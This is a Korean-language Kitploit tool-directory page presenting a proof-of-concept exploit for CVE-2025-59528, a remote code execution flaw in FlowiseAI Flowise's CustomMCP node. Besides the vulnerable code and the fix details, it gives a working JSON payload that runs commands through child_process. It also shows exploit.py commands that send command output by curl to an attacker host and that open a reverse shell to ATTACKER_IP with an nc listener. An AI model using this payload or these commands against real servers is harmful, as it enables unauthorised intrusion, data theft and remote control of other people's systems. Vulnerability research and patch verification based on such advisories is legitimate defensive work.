Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-59528-POC — CVE-2025-59528 - FlowiseAI CustomMCP 원격 코드 실행 | Kitploit
도구/GitHubGitHub/usifaraby/cve-2025-59528-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRemote Access ToolPayload Development
GitHubusifaraby/cve-2025-59528-poc

CVE-2025-59528-POC

CVE-2025-59528 - FlowiseAI CustomMCP 원격 코드 실행

저장소 보기
114개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-59528 - FlowiseAI CustomMCP 원격 코드 실행

CVSS 10.0 (치명적) | 블라인드 RCE | FlowiseAI Flowise >= 2.2.7-patch.1 및 < 3.0.6

개요

CustomMCP 노드에서 발견된 FlowiseAI Flowise의 치명적인 원격 코드 실행 취약점입니다. convertToValidJSONString 함수는 mcpServerConfig 매개변수의 사용자 입력을 JavaScript의 Function() 생성자에 직접 전달합니다. 이는 eval()과 기능적으로 동일하며, 전체 Node.js 런타임 권한으로 임의의 JavaScript 코드 실행을 허용합니다.

  • 발견자: 김수현 (@im-soohyun)
  • 보안 권고: GHSA-3gcm-f6qx-ff7p
  • 수정 버전: Flowise v3.0.6 (Function()을 JSON5.parse()로 대체)

취약 코드

packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts, 262–270행:

root@kitploit:~
function convertToValidJSONString(inputString) {
    return Function('return ' + inputString)();  // ← arbitrary code execution
}

전파 흐름:

root@kitploit:~
HTTP POST → /api/v1/node-load-method/customMCP
  → controller.getSingleNodeAsyncOptions()
    → service layer
      → CustomMCP.listActions()
        → convertToValidJSONString(mcpServerConfig)  // Function('return ' + userInput)()

익스플로잇

이는 블라인드 RCE로, 명령 출력이 HTTP 응답에 반영되지 않습니다. 콜백 기술(curl/wget) 또는 리버스 셸을 사용하여 실행을 확인하세요.

요구 사항

조건세부 사항
Flowise 버전>= 2.2.7-patch.1, < 3.0.6
네트워크 접근포트 3000의 API 엔드포인트 (기본값)
인증3.0.1 미만에서는 선택 사항, 3.0.1 이상에서는 필수

페이로드

root@kitploit:~
{
  "loadMethod": "listActions",
  "inputs": {
    "mcpServerConfig": "{x:(function(){const cp=process.mainModule.require('child_process');cp.exec('COMMAND',()=>{});return 1;})()}"
  }
}

사용법

root@kitploit:~
pip install requests

대상 취약성 확인 (시간 기반)

root@kitploit:~
python3 exploit.py -t http://target:3000 --mode check --email [email protected] --password pass

블라인드 명령 실행

root@kitploit:~
# Exfiltrate output via callback
python3 exploit.py -t http://target:3000 --mode exec \
  -c "curl http://ATTACKER:PORT/\$(id | base64)" \
  --email [email protected] --password pass

리버스 셸

root@kitploit:~
# Start listener
nc -lvnp 4444

# Fire exploit (auto-tries bash, nc, python)
python3 exploit.py -t http://target:3000 --mode revshell \
  --lhost ATTACKER_IP --lport 4444 \
  --email [email protected] --password pass

인증 옵션

root@kitploit:~
# JWT auth (Flowise >= 3.0.1)
--email [email protected] --password pass

# Basic auth (Flowise < 3.0.1 with FLOWISE_USERNAME env)
--username admin --password pass

# Raw cookie string (fallback)
--cookie "token=eyJ...;refreshToken=eyJ...;connect.sid=s%3A..."

해결 방법

  • 업그레이드 Flowise를 3.0.6 이상으로 업그레이드
  • 제한 방화벽/VPN으로 API 접근 제한
  • 활성화 모든 인스턴스에서 인증 활성화
  • 모니터링 /api/v1/node-load-method/customMCP에 대한 POST 요청 로그 모니터링

참고 자료

  • NVD — CVE-2025-59528
  • GitHub Advisory — GHSA-3gcm-f6qx-ff7p
  • SonicWall Threat Analysis
  • Fix Commit — Flowise v3.0.6

고지 사항

이 도구는 승인된 보안 테스트 및 교육 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 테스트 전에 항상 적절한 승인을 받으십시오.

도구 다운로드